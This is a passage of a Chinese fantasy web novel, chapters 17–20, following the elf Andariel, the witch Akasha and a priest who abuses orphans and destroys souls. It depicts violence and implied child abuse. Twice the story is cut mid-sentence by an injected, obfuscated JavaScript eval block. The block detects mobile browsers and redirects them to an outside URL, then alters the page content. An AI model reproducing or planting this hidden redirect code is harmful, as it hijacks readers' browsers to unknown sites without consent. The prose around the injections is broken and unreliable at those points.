安达利尔点点头,“嗯,在那个‘未来’到来之前,我会把它当作我的生命去珍惜。” 回忆在结束,直到阿卡莎完全没在树影中。从拉普塔醒来的那一刻起,她失去了记忆,魔力,还有可能本来就不存在的家人,伙伴.......那些为数不多的绿意盎然的东西也在眼中逐渐褪色,像一推就倒的背景板。 她站在远处,注视着那些生前的记忆。心跳正代替她紧张地跳动着,女巫的一举一动还在眼前徘徊,她觉得自己成为了一个被诅咒的稻草娃娃,每句话都变成了针,扎进大脑。 亲爱的安达利尔,如果能提前知晓未来,你还会义无反顾地走下去吗? 启用秘术的火种是她带来兹维镇的,两千多年后的未来,终于到来。 她心乱如麻。 17. 陨落者之魂 安达利尔从来不认为自己是个好人。她似乎是友善且坚强的,实际上她自私,虚伪,懦弱。 像任何一个寻常的日子一样,她蹲在灰瓦铺成的屋顶上,将手上沾染的血迹随意地擦拭,然后从怀中十分自然地拿出一只钱袋,动作自然到那东西本就属于她一样。沉甸甸的银币发出悦耳的碰撞声,令人心情愉快。 她已经不止一次顺走目标的遗物了,幸运的是,这次除去钱币,那人身上还有一些看起来还算值钱的钟表和饰品。 其实赏金猎手的酬劳一向丰厚,只不过,孤儿院里的孩子实在太多了,年龄的差距让她承担起了大人的角色,如果说的温馨一些,大概就是,圣诞老人那样的。 与此同时,她是个十分专业的猎手,只要为了钱,什么都值得冒险一试。每当看着那些变成灰白色的瞳孔时,她会选择无视一切,例如这是个怎样的人,她是否有孩子或者妻子丈夫之类的。 她试图让自己对此麻木,将那些生命看作三银磅的重量。她要做的是,面无表情地擦掉手上的血迹,再带着礼物回到孤儿院。 对安达利尔来说,孩子们的笑脸,是这个破烂的世界上唯一的无价之宝。 说起阿卡莎,这个全身上下写满了古怪的女巫,她们的初见并不愉快。 “你在找这个吗?”声音从头顶传来。 看到递过来的钱袋,安达利尔停在尸体腰间的手一抖,整个人迅速弹开,怎么回事,她刚刚完全没有注意到身后有人。 她弓着腰,一只手摸向别在身后的匕首。“你是谁?” “我叫阿卡莎·莫温,不小心迷路了,或许您知道兹维镇在哪个方向吗?” 正常人见到尸体会这么淡定吗?况且她脸上喷溅的血液都还没来得及擦去。 安达利尔皱起眉毛,她眯起眼睛打量眼前人,最后指了指西南角。“往那边直走,过两条河就是。” “谢谢。”阿卡莎说,朝安达利尔微微颔首。 话音刚落,不远处的灌木丛中,忽然传来悉悉簌簌的响动。安达利尔后退两步,尖尖的耳朵忍不住抖了抖,她嗅到一些危险的信号。半人高的树丛间隐隐有两点灼灼绿光,很快,中间的树丛缓缓出现巨大的凹陷。 那是一头体型巨大的黑狼,暴露在视野中时,一双金黄色的兽瞳在日光下散发着琥珀般的光泽。巨狼甩了甩脑袋,爪子却忽然一顿,随后它将嘴唇撅起,露出了尖利的犬齿,蓬松的毛发竖立起来,喉咙里发出威胁的低吼,一步步向精灵靠近。 安达利尔丝毫没有退让的意思,她站在原地,凝视着狼的眼睛。就在巨大的狼身一跃而起,企图朝她的脖子咬去时,她想挪动脚步,身形却被定在原地,无法动弹。 狼嘴离她越来越近,气息喷吐在皮肤上,她很快意识到,这个距离,想躲开几乎是不可能的事。 “厄塞瑟斯,停下。”熟悉的声音再度从身后传来,这次安达利尔失去了反应的机会。 眼前巨狼的耳朵竖起来,几乎是瞬间便停下了攻击的动作。它朝那个叫阿卡莎的奇怪女人乖顺地低下头,连尾巴也不自觉地摇摆,发出些呜呜的动静。 阿卡莎看着厄塞瑟斯躺在地上敞开肚皮的样子叹了口气,“不好意思,它没有恶意。”她对安达利尔露出略带歉意的表情。 “这是你养的狼吗?”安达利尔忍不住问道。 “实际上,我并没有决定养它,他应该回去,回到图克穆拉。”阿卡莎没有理会厄塞瑟斯的撒娇行为,她依旧看着安达利尔。 不过,安达利尔没有停下来多聊几句的心思,或许是意识到自己放松警惕的行为,让她有些烦躁。 虽然第一次见面的场景有些古怪,但她们成为了朋友。阿卡莎是个富有的女巫,这一点也很怪异,安达利尔甚至怀疑她会什么炼金的咒术,可以自给自足。 “我一直想来兹维镇开珠宝店。”再次相遇的时候,她是这么说的。 不过两个月后,她说想去看塞卡岛上的人鱼。 “店送给你了,要一直经营下去哦,我会来信。”她扶着自己紫色的女巫帽,笑得很漂亮。 安达利尔讨厌自以为是的人,仿佛在他们眼中,人心像宝石一样易碎。 她们会向你投来怜悯的目光,然后施舍般地对你说些好话,心里就会得到极大的满足。这里大多数指的是那些将孤儿院当作什么观光景点的贵妇人。她看过很多双眼睛,需要俯视的,也有需要仰视的,因为习惯了低头,于是平视的时候不多。从那些眼睛里,她知道自己被抛弃,又被需要。 但此刻她不想承认自己受到了女巫的‘蛊惑’之类的东西,只是,在她平淡,无聊,麻木的前半生里,突然有一天变得不同了。好像那种命运般的时刻,它那么不起眼,却会在某个瞬间震耳欲聋。 后来想起来,觉得不寻常的大概是因为,好日子不常有。 女巫处刑礼结束后的一周后,英雄的墓碑变得摇摇欲坠,衰竭开始了,果子的内芯开始腐烂,树根停止生长,天空的颜色变得浑浊不堪。 一时间,阿卡莎·莫温成为了禁忌,甚至被丑化成世界七大罪之一。还没来得及弄清楚好友堕落的真相,安达利尔身边的一切开始走向崩坏,那时候她常常低下头,有些忧虑地抚摸着胸前的绿色宝石,企图有什么出现告诉她答案。 宝石的表面映照着她的双眼,但这次她什么也不知道。 “沃克神父,您还好吗?”安达利尔有些担忧地问。 沃克捏了捏太阳穴,神色看起来疲惫不堪。“哦哦,神呐,我没事,不过......”他松开握着病人的手,恍惚地说道。 “狄托他怎么了?”安达利尔注意到那只垂在地上的肤色发黄的手,她不自觉眉头紧锁,急忙朝名叫狄托的病人靠近。 “嘿,这是疫病,别凑太近。”有人拉住安达利尔的胳膊,“他快不行了。”沃克低下头,让人看不清脸上的表情,说话的声音颤抖着,顺着气息飘出。 狄托僵直着脖子,看着天花板,他的生命即将走近尾声了。但在安达利尔握住了他的手那刻,像是似有所感,狄托的嘴唇微张,努力地想要说些什么,“杀...杀了.....沃克。” “你想说什么,狄托?”安达利尔跪坐在地上,她强忍着泪水,弯着腰向前倾。她感受到手里的温度在逐渐变冷。 即将听见那声音的时刻,沃克再次将她拉住,他的眼神冰冷地落在狄托身上,直到那孩子彻底一动不动。 “安达利尔,他死了。”说完他减轻了手上的力度。 像逐渐石化的雕像,狄托的一切都在流失。表情,声音,呼吸........ 安达利尔保持着跪地祈求似的姿势,“狄托,狄托。”她用额头贴着狄托的手背,冷,好冷,眼泪控制不住地滑落。 她理智全无,但要从自己编织的世界里脱身,是件不容易的事。安达利尔开始神经质般的自责,孩子们的死亡会不会是因为她,是因为收下那些包裹精致,但实际沾满了人血的礼物。 他们甚至没有见过兹维镇以外的世界,这让她无法无动于衷。天崩地裂的末日更容易催生狂热的信徒,或许她早就成为了疯子,为了留住他们,为了那些承诺和加在身上的责任,命运般的,她再次想起了火种,那个禁忌的法术。 使用‘火种’的力量,需要付出怎样的代价呢?她不知道。 孩子们的灵魂变成了美丽的死物,而他们并没有什么特殊的能力,只会让你在握住的时候感受到一些情绪,忧伤,天真的喜悦,还有,永无止境的孤独。 活人的灵魂和死去的不同,这是安达利尔偶然发现的。像传说中的,生命之力是一团流动的火焰,那些死去的,流散的自然之物,可以被填补。 但在看着一个个族人们义无反顾地献出灵魂后,安达利尔却开始噩梦缠身,而她太迫切地去做些什么了,于是并没有注意到沃克的反常。 或许在生命的最后一刻,她仍然自私地选择了对真相视而不见,是的,她只要牺牲,无所谓牺牲后的结果是什么。 她填补的真的是崩塌的大地和被黑暗侵蚀的树林吗?还是自己早已遍布腐肉的内心,安达利尔不敢想。 她只是一遍遍告诉自己,这样的选择会是正确的,她已经为孩子们付出了一切,这就够了。 安达利尔再没想过自己有一天会醒来。 她觉得自己变成了风,又变成了雨,飘飘摇摇,落在地上消失不见。似乎是阿卡莎残存的灵魂力量和‘火种’在起作用,让她的意识逐渐苏醒。她再次看到了沃克的脸,然后便亲眼看着他将族人的灵魂全部打碎。 他从头到尾都不是个好人,讽刺的是,他出现在了一个恰好内心混乱的杀手身边,她居然无法分辨哪些才应该是她的目标,多么可悲啊。 安达利尔意识到这是她的惩罚,是肆意使用力量的代价。 让她像个可笑的废物一般看着戈瑞亚成为地狱,因为再也无法分清日夜,所以只能时刻在绝望中度过。 不知过去了多久。 “安达利尔......”当看到那块宝石,阿卡莎的心脏开始震动,连肋骨都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010450|148508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发痛,她来到了尽头,现实和记忆交织的起点。 那个落在宝石上的影子终于有了动静,她离开宝石,朝着阿卡莎走来,一点点从凝固的人形散开,变成一团没有形状的雾气。丝丝缕缕的气息散开,最后飘在阿卡莎脸颊边停住不动,暖暖的,生出些痒意,像是在说,“你来了。” 像受到感召一般,阿卡莎向着那片绿色走去。那里意外地笼罩着一些情绪,仿佛巨大的沼泽。悲伤,愤怒,悔恨,孤独....... 不过,没有了‘火种’和阿卡莎部分灵魂的力量,安达利尔的意识也会彻底消散,连带着这些情绪一起。 一切即将落下帷幕的时刻,忽然整个空间发生了剧烈的震动。绿色之中忽然冒出了光点,越来越亮,随后安达利尔透明的身体被从四面八方涌进来的黑色气息包裹,拉扯着,似乎在将那些碎片重新拼合。 不知是不是厄里克出现了一些问题,导致整个空间的力量都陷入了紊乱。 “宝石,宝石为什么裂开了,为什么,厄里克,你在哪?”涌动的晶体面上出现了沃克的脸,他惊慌地瞪大眼睛,浑身上下凌乱不堪,再也没有往常作为绅士的体面。 那双小心翼翼捧着宝石的双手此刻正不停地颤抖着,他执着且急促地念着咒语,‘火种’再次闪动起来,像宝石的心脏。 与此同时,安达利尔的人形越来越明显。 沃克居然在抽离自己的灵魂来填补这颗宝石上的裂缝。 那些涌进安达利尔体内的,是他的生命之力。可是为什么,厄里克没有阻止他。 沃克本身的生命之力并不纯净,他吸食了太多灵魂,所以,尽管有厄里克的力量在中间平衡,沃克还是出现了严重的排异反应。于是,随着部分力量向安达利尔转移,他的身体逐渐扭曲,头疼欲裂,似是被什么东西反复拉扯。 “佩斯。” 听清那声音的瞬间,沃克忽然浑身一颤,像是梦醒。他从地上爬起来,哆嗦着说着“安.....安达利尔...” 阿卡莎这才注意到厄里克的身影,他出现在阿卡莎身旁,气息很弱,看起来并不是很好。 “这里我并不能维持多久,很快,一切就要结束了。” 此时,绿色宝石彻底消失了,最后一丝光芒也隐匿在阿卡莎体内。心脏的声音越来越大,最后像是停滞了一瞬般,记忆,力量,还有些奇怪的一闪而过的片段,全部被塞进了身体里,胀痛感袭来,让她呼吸急促,双腿发软。 在即将向前倒去的瞬间,身子忽然被人一把捞住。“站稳了,女巫。”厄里克的声音传进耳朵里。 远处沃克的身体似乎已经恢复了正常,他的脸上遍布泪痕,眼圈发红,浓烈的情绪在那汪湖泊中涌动。 “啧,哭得真丑。”刚刚恢复平静的阿卡莎转头看了看身旁高大的黑影,厄里克站在原地,那团黑漆漆的雾中,透出一丝悲伤。 “佩斯,对不起。”安达利尔的影子浮在半空中,缓缓地开口。 “安达利尔,你终于回来了,还记得吗?你答应过我的。”沃克说着,嘴角努力地向上勾起,露出了一个别扭的弧度。“我....我做到了,我一直守着这里,我还把孩子们都送走了,他们去看外面的世界了。” “谢谢你,辛苦了,佩斯。”她朝沃克张开双臂,温柔地环抱住他,像个天使。“往前走吧,不要回头。用你的名字,走到最后吧。” “安达利尔,我爱你。”他说。没有任何挽留的话,似乎只是在告别。 一切仿佛回到了少年时的黄昏,他跨出门,牵住了安达利尔的手。深色的阳光落在他们的睫毛上,温热的像眼泪。 “我也爱你。”安达利尔的身影彻底变成了碎片,怀抱空了,像下了一场黑色的雪。 “喂,女巫,我知道你有办法救他。”厄里克的声音变得十分虚弱,“我要走了。” “可以说再见吗?”阿卡莎笑着说,没有回头。 “你应该比我清楚这一点,女巫。”厄里克回答。“对了,我帮你把那小子弄走了,记得用隐匿咒。” 佩斯做了一个很长很长的梦,醒来之后却什么也不记得,只有眼底濡湿一片。哦哦,现在是黑暗时代,他应该去哪?圣地安提利亚怎么样。脑子里只剩下这个想法。 今夜兹维镇下了黑色的雪,很浪漫,或许沃克,哦不,佩斯永远也不知道,那颗宝石其实早就碎了。女人站在月光下,指尖夹着一卷烟,裸露在外的肌肤上缠绕着黑色的咒文。 一个人守着这样一座死城,原来是这样的感觉。 18. 旧事 两千一百年前。 鲜花盛开的春天,安达利尔回到了戈瑞亚。 “孩子们,我回来啦!”女孩蹲下身,张开双臂。 “姐姐,我好想你呀。” “姐姐你看,这是我做的宝石,漂亮吗?” “姐姐,这是我今早刚刚摘的向日葵。” ……. 安达利尔扶着头上的花环,用下巴抵住怀里各种各样的礼物。安顿好兴奋的孩子们,已经是傍晚了。 “佩斯,这次还是什么也不要?”黄昏的平原,安达利尔躺在树干上,手里把玩着掉落的树枝。 “嗯,不要。”夕阳的光辉落在少年的脸颊上,红扑扑的。 “那你有什么愿望吗?姐姐帮你实现。”安达利尔从树干的缝隙中探出头来,枝叶摇晃间,一个青色的果子砸在佩斯头上。 “我没有想要的东西。”少年低着头,摸了摸后脑勺。 他想,或许他的故事永远不会出现什么浓烈的愿望,他希望自己能像花田里的稻草人一样,能够沉默且勇敢地度过一生。 两千年前,邪恶的女巫被公开审判,黑暗时代彻底降临。 先是树木停止生长,落日森林走向枯败。再是山体矿洞坍塌,从山上回来的人越来越少。接着,魔兽们成群结队地袭击兹维镇,伤亡惨重。 土地被污染,河水不再流动,严重的地裂吞食了房屋和牲畜。 “呜呜呜呜姐姐,我们该怎么办啊。” “外面有怪物,我好害怕。” 安达利尔细心地抚摸着孩子们的后背,“我会保护你们的,所以不要哭了,坚持一下,等着姐姐好不好。”她握着佩斯的手,让自己的语气尽可能平静一些。 “佩斯,你是这里最大的孩子,要帮姐姐照顾好他们,我相信你可以做到的。” “安达利尔,你一定要回来。”佩斯点点头,将额头贴在两人交握的手上。 一百年,安达利尔没有回来,第一百零一年,梅塔太太病死了,戈瑞亚孤儿院被沃克神父接管。 他告诉孩子们,外面有很多恐怖的怪物,不能跑出去。所有人都不敢再靠近那扇黑洞洞的大门,除了佩斯。 “安达利尔呢?族人们都去哪里了?”被屡次抓住后,他警惕地盯着这个总是用奇怪眼神看着他的神父。 “他们在为你们战斗,很快,我们会迎来光明。”沃克虔诚地低着头,亲吻胸口的十字架,眼底的光晦暗不明。 佩斯后来才知道,从那一天开始,他们不会再等到光明了,因为他们已然身处深渊。 为了遵守和安达利尔的誓约,为了能有一天带着孩子们再次见到安达利尔,他不再执着于看到门外的世界,他忍受着无尽的黑暗,满足神父变态的欲望。 每一次,如果必须要有人做出牺牲,他都希望那个人是自己。他想要成为可以实现愿望的人,从前是,现在也是。 那天,利奇亚私自组织了逃离孤儿院的计划,但毫不意外地被发现。 “我要带他们逃出去,怪物什么的,都是你编造的谎言。”佩斯又一次站在了孩子们面前,他清楚地知道,他们不是罪人,不该困在这里接受惩罚。 “是不是我过分宠爱你了,mivade,为什么总想着逃离我呢?”沃克伸手抚摸佩斯的脸颊,他的面上始终保持着笑容。 佩斯偏头躲过,那种恶心的感觉一下子从心底冒上来,让他脸色惨白。他知道,披着人皮的恶魔,笑起来总是毛骨悚然的。 沃克忽然用力地扯着佩斯的胳膊,将人拖向门口,当身后的门被关上,除了沃克之外的所有人都陷入了惶恐。佩斯试图挣脱那双手,但无济于事,对未知的恐惧让他心脏剧烈地跳动起来。 而在真正踏出门,看到外面的世界那一刻,佩斯才知道,外面没有怪物。 地上散落着碎掉的宝石,他并不知道那是族人碎掉的灵魂。只是敏锐地感知到四处弥漫着死亡和绝望的味道,连月亮都像是一具躺在空中的尸体。 教堂里的圣母像的心脏处破开了一个大洞,四处鲜血淋漓,像奇怪的符号。 沃克整个人透着诡异的癫狂,他按着佩斯的头,强迫他跪下为自己的行为忏悔,好像已经过了太久太久,久到佩斯对□□上的痛苦感到麻木。 “你知道吗?就是在这里,那群蠢货,以为自己拯救世界了。” “有了‘火种’,就能把灵魂做成宝石,就可以获得力量,来抵抗黑暗。” “但,但他们居然敢把灵魂交给我。什么牺牲,英雄,话说得也太好听了吧?” “还有,你那个姐姐,好不容易坚持到最后,最后还不是甘愿牺牲?” “你说什么?”佩斯浑身僵硬了,空洞的眼眶泛起痒意。 “她说什么,要让你们在阳光明媚的世界里活下去,哈哈哈哈哈哈,真是太天真了。”沃克擦去眼角的泪花,掐住佩斯的力道又大了几分。 “在天崩地裂之前,没有人注意过我,所以,毁灭与重生,都是神的旨意。” 全身上下的内脏都在胀痛,所有之前强迫自己忽视的情绪顷刻间上涌,佩斯再也无法忍受不住,撑在地上干呕着。 这一刻开始,他才真正发觉,自己罪孽深重。他再也无法得到原谅了。 “你看,多漂亮的宝石啊。” 金黄色的宝石在黑暗中散发着温暖的光芒,像盛开的向日葵。佩斯奋力挣脱桎梏,跪着爬着,伸出手去夺那宝石。 沃克只是轻笑着将手举高,他喜欢看人像乞食的狗一样在他面前爬来爬去。 作势将宝石从高处抛落,又在即将坠地时接住。将人心捏在手里反复把玩。 倘若这个世界还存在神迹的话,能不能垂怜我。佩斯这么想,又觉得可笑。沃克踩着少年的胸膛,只要一用力就能将肋骨踩断。 “我才是你的神啊,mivida,你应该看着我,求我的话…….” 耳边传来的声音逐渐模糊,佩斯感觉自己成了一个聋子,瞎子,两只眼眶里不停地流着泪,他成了死去树根的一部分,被埋在污染的土地里,窒息然后腐烂。 恍惚间,他好像看见了厄里克圣钟,黑色的气息弥漫在上面,逐渐凝结成影子,随后,那影子就这样飘在空中不动。 厄里克不是爱管闲事的恶魔,就算那些蠢人类跪着叫他圣钟,他也从不理会。他很少对人类有印象,但佩斯算其中一个。 佩斯的灵魂正散发着浓烈的死意 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地上的人突然伸手,抓住沃克的脚踝,毫不费力地将其扭曲成一个诡异的姿势,就像天真的孩子肆意地摆弄着他的玩具。惨叫声回荡在耳边,仿佛久旱之地落下一场酣畅淋漓的大雨。 冷汗浸湿了沃克的后背,“你疯了吗?你在对谁动手,佩斯。” 嘴上还是道貌岸然的惩戒,手却哆嗦着伸向背后,摸索着那块意外掉落的宝石。 佩斯的右手忽然变成了黑色的触手状,片刻后又恢复,掌心里多了块东西。 看着那块宝石,佩斯熄灭的眼睛里终于映出一丝光芒来,黑色的液体从眼眶中缓缓淌出。 佩斯一点点踩断了沃克的四肢,直到他终于像滩烂泥一样,涕泪横流地跪在了破碎的神像前。 “佩….佩斯,mivida,那时候,我也给你带来快乐了,对吧,你不能这样对我,我这么宠爱你。” 手再次不自觉地变化,黑色的孢子状的东西散落在沃克身上。 佩斯皱了皱眉,歪头看向自己的手。 一秒,两秒,三秒….. “那是灾厄,会钻进他身体里的每一个孔。”那声音解答了他的疑惑。 沃克在地上痛苦地嘶吼着,鲜血从他的扭曲的五官中溢出,圆形的东西在皮下鼓起,越来越大。他以自己的方式对罪人处以极刑,但佩斯却并没有觉得痛快,死亡是罪大恶极之人的礼物,活下来的人,才是真正的惩罚。 “毁灭与重生,是神的旨意。所以,带着你的信仰去死吧。”这是佩斯对沃克说的最后一句话。 利奇亚再次见到佩斯,彼时站在门外的少年痴痴地笑着,脸颊上全是黑色的泪痕,他手里抱着一颗人头,血肉模糊的,眼睛变成了黑洞洞的窟窿,舌头也不见了。 原来门外,真的有怪物。 第一百五十年,厄里克圣钟再次响起,两声。 厄里克圣钟里的恶魔,与他共生,给他力量。那是他们制作的第一场梦境。 太阳从森林的东边升起,阳光一点点照在脸上,孩子手拉着手,跨过门,笑着向远方走去。 19. 喀斯玛洛 人们说,一个合格的女巫,需要拥有一顶尖尖的的帽子,一把陈旧的木制扫帚,再加上神秘莫测的气质。但实际上,女巫无处不在。她们是某个头顶瓦罐的勤劳妇女,是身材娇小,优秀的女猎手,是隔壁爱制作甜点的老婆婆..... 虽然阿卡莎变成了红魔,她爱抽烟,像曾经痴迷魔法一样喜欢打架斗殴,也喜欢夜晚坐在毛脚矮人酒馆喝超大桶啤酒。但这不妨碍她依旧是个女巫这件事,一个拥有寸头和八块腹肌的女巫。 “维安?”Bricolage(布里科拉日,一家酒馆的名字)的窗户忽然被风吹开,带着些寒意地,扑在阿卡莎带着些红晕的脸上。 “维安,真的是你。”冷风把女巫的醉意吹散了几分,不过,谁在说话? 有人坐在了她对面,正兴奋地说个不停。 “你是?”阿卡莎用手掌支住脸颊,抬起眼皮朝对面看去。 “我是赫尔,你忘记我了吗?”那人于是顿住了话头,有些疑惑地问道。 赫尔?完全陌生的名字,阿卡莎没有说话,她直起身子,将手边的啤酒一饮而尽。 “不好意思,我不记得了你,也没兴趣闲聊。”说完阿卡莎摸出几枚银币,扔在桌上。“摩比,下次见。”她朝柜台处喝得烂醉的毛脚矮人挥了挥手,自顾自转身向门口走去。 “哎,等等。”一只手拉住了阿卡莎。“维安,这么久了,我才找到你.....” “你肯定是忘记了,我们,我们.....”赫尔的声音逐渐变小,脸颊上出现了诡异的红晕。“我们曾经有过婚约。” 阿卡莎???米勒·维安,一个在生病之前过着朴素且平凡日子的牧羊女?她的记忆里完全没有这回事。 再次回忆了一下,还是在她预期之内的一无所获,不过,那个真正许下婚约的维安早已逝去,阿卡莎思索着,三两下收拾好情绪。 “那么,现在你要和我结婚?”她抬起头看向赫尔的脸,有些漫不经心地说道。 “啊”赫尔像是被这直白的问法给烫到了,慌忙撇头挪开视线,“不不不,我只是,见到熟人很高兴。”他无奈地吐了口气,微笑着回答。 拉普塔沦为弃镇,能活下来并再次见到对方,确实是件幸运的事。不幸地是,真正的米勒·维安早就死在了那张洁白的病床上。 “哦,那没事的话,我先走了。”阿卡莎点了根烟捏在指尖,象征性地晃了晃表示告别。 “嘿......”迎接赫尔的只有门被打开时吹来的冷风。他有些烦躁地理了理头发,脸上的表情变得有些不耐。 “你不是说,她喜欢这一款的吗?”赫尔转身,看向后桌的男人说道。 “只是个试探而已,其实我也不清楚。”男人无辜地撇撇嘴,手指摆弄着桌上的酒杯,“毕竟,女人们都喜欢你这张脸,不是吗?” “说起这个,我从来没有见过这样无视我的人”赫尔拉开凳子坐下,嘴角有些抽搐,“不过,看她的打扮,就不是个正常女人。” “呵,那家伙是弥斯克地下城出了名的疯子。”男人勾起唇角,似乎想到了一些有趣的东西。“你不期待吗?下次见面,我很期待。” 喀斯玛洛,一个十分混乱的城邦,不过也可以说是一贯如此。 这里是好战的毛脚矮人族群的地盘,他们有着结实的肌肉,爽朗热情的笑声,和一双能酿造出世界上最香醇小麦啤酒的手。 尽管族人英勇善战,但也敌不过天灾降临,魔兽们的倾巢而出。城邦一度陷入血战,不过这样混乱焦灼的局面一直维持到了现在。有传闻称城邦主人是个能够手撕魔兽的怪物,才能以一己之力让城邦支撑到现在。 有些奇怪的是,在这里呆了将近一周,除了在午夜市场的入口,阿卡莎从没见过什么魔兽。甚至可以说,人们过着难得的平静生活。 不知道两千年前的那位优雅的女巫是否尝过这里的美酒,阿卡莎有些想象不到,不过新鲜的感觉很不错,毕竟,全身的血液流干之后,威士忌和啤酒代替它们成为了新的生命源泉。 阿卡莎越发觉得自己像个流浪者,捡拾着过去可能留下的一切踪迹,期间她尝试着站在女巫的鞋子里思考,但诡异的点就出现在这里,修复记忆和部分灵魂的她依旧是一辆脱轨的火车,无法轻易地找回过去的路。但那个两千年前的人大概提前知道了这一点,兹维镇的经历可以说明一切,于是她将女巫当成自己的老师,这样似乎让思考变得更容易了一些。 那么前面提到的“午夜集市”,此刻说起来会更有意思。它并不是什么普通市场,那是一家诞生于黑暗时代的地下医院的名字。 据说那里有一种“手术”,能够治好人们的隐疾。具体是怎样做到的,不清楚,但听说和影子有关。 而在一些地方,人的影子被看成是灵魂的载体,例如喀斯玛洛。 “您好......”一道苍老的声音在耳边响起,“请问您能看见那里有人出来吗?” 阿卡莎转过身,说话的是个年长的矮人,此刻正伸长脑袋听周围的动静,她的眼睛处蒙了一层厚厚的纱布,这是个瞎子。 “我的孩子,牧阿鲁,你....你有见到他吗?”那老妇人凑上前,脸上松弛的肌肉有些失控地颤抖,阿卡莎看见血从一层层的纱布里渗出来,鲜艳且醒目。她捂住鼻子,咽了咽口水。 “喂,那家伙已经死了。”男人的声音突兀地传来,他一把拉开那妇人,然后恶狠狠地看向某个地方,“你们把影子和光明卖给这些邪教徒,还想着会有什么好结果吗?” 阿卡莎顺着男人的视线,发现他正盯着“午夜集市”的入口。 那瞎眼的老妇人被脚后的石头绊了一跤,此刻无助地瘫倒在地上,披散着头发一言不发。 那男人没好气地哼了一声,从阿卡莎身边路过时,还狠狠地撞了她的胳膊,“别同情恶魔。” 阿卡莎瞥见男人侧颈处有太阳十字的刺青。这让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057470|148508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她想到了什么,那是一群自称“光明启示录”的人,因为他们认为自己比那些被蒙蔽双眼的人先一步预知光明。 但更加引人注意的是,这个组织强烈地对抗“午夜集市”的治疗说辞,他们认为被成功“治疗”的人,实际上只是被恶魔占据了身体。 于是,为了守卫光明,他们自发成为了“猎魔人”,对那些接受治疗的人发起屠杀。不过,“午夜集市”却从来没有因此受到影响,甚至每天依然有无数人前去治疗。 “牧阿鲁,是叫这个名字吧。”阿卡莎蹲在那妇人面前,看了眼身后黑沉沉的入口。“你知道吗?那里面的‘治疗’到底是什么?” 老妇人的身体不停地抖动着,她忽然抬起头,纱布上赫然是两个血洞,血液混合着泪水将泛黄的纱布浸湿,从脸颊上直直地淌下。 “阿鲁,我的阿鲁,在哪里,在哪?”她探出身子,双手在地上不停地摸索。“阿鲁他已经变好了,他...他已经....”妇人哽住了,她把额头抵在地上,紧紧地弓着身子。 阿卡莎支着头盯了一会儿,最后她拉住那老妇人的胳膊,将她从地上拎了起来。“不是想找你的阿鲁吗,为什么不进去找?” 矮人终于回过神来,她的脸上出现了更加惊恐的表情,那是神志不清,却本能地感到恐惧。“不不,我没有多余的东西了....不要”她慌乱地摸着脖子,最后停留在眼睛周围。 “阿鲁,对不起,对不起,”她不断地重复着,开始拼命挣脱那只拖着她的手。看着那向下延伸,黑漆漆的地道,阿卡莎松开了手。那老妇向后跌去,又手忙脚乱地从地上爬起,茫然地朝远处跑去,直到彻底消失在街道尽头。 腥臭的味道顺着风从地道里吹散,发出呜呜的声音,好像地狱鬼嚎。 阿卡莎向那个入口靠近,地道的底部散发着亮光,吸引着人们走进去,那里有“救赎之道”,似乎有声音在说。 “维安,别去。”那人速度很快,隐隐有气息从身后擦过。阿卡莎侧了侧身子,躲开了那只伸向她肩膀的手。 最近老是有奇怪的人莫名其妙地向她靠近,这是在考验她的反应能力吗?。 那确实是一张让人难以忘记的脸,或许是那天的美酒醉人,阿卡莎忘记了。 “你是谁?”她警惕地撤步。 “是我,赫尔。你又忘了我吗?”尽管那张脸上立刻摆出了委屈的神情,阿卡莎却觉得最后这几个字说得颇有些咬牙切齿了。 “你有什么事。”阿卡莎说。 她的反应还真是一如既往地冷淡,让人莫名有些恼火。赫尔努力地挤出微笑,因为这个怪女人,他已经用上了自认为最专业的表演技巧。天知道他本人和那种可怜巴巴的害羞小狗有多么大的差距。 “哦,我只是,我只是担心,你为什么要去‘午夜集市’?”他咬住下唇,担心地皱起眉头看着阿卡莎。 “因为我生病了,需要‘治疗’。”阿卡莎一脸正经。 20. 月夜吻别(万圣节特辑) 世界七灾之一的魔女阿卡莎·莫温,已经连续千年获得“最冷酷无情的女人”的称号。 “领主,我为您献上戎匝克(传说中的巨兽)的心脏,请您接受我的婚约。” ”领主,这是我亲自为您写的情诗,您是华美的月桂,是圣河尽头的岩浆,而我是被您吹动的风……..” “停。”魔女终于开口了,“厄塞瑟斯。” “主人。”高大的身影弯下腰,看向宝座上的人。 “送一下这几位先生吧。”她说。 “好的。”厄塞瑟斯终于把视线从他的主人身上不舍地移开。 大殿里的男人们忽然感觉一阵寒意袭来,浑身上下都起了一层鸡皮疙瘩。 从这天起,领地的仆人们发现再也没有人上门向他们的主人求爱了。 “厄塞瑟斯,他们真应该给你一个称号。”阿卡莎从一堆牛皮纸卷中抬起头,“比如,‘最称职的属下之类’的。” “主人,那是我应该做的。”厄塞瑟斯优雅地站在原地,从脸上的表情到身上熨烫平整的西服,都一丝不苟。 或许没人知道他在心底想些什么,他几乎毫无破绽。事实上,这位称职的下属,他比任何一个踏上她的大殿求爱的人更龌龊,他站在角落,嫉妒得快要死去。他想挖去每一双看向她的眼睛, 度过极昼后的第一个夜晚,血月高悬,这是阿卡莎魔力最弱的时刻。 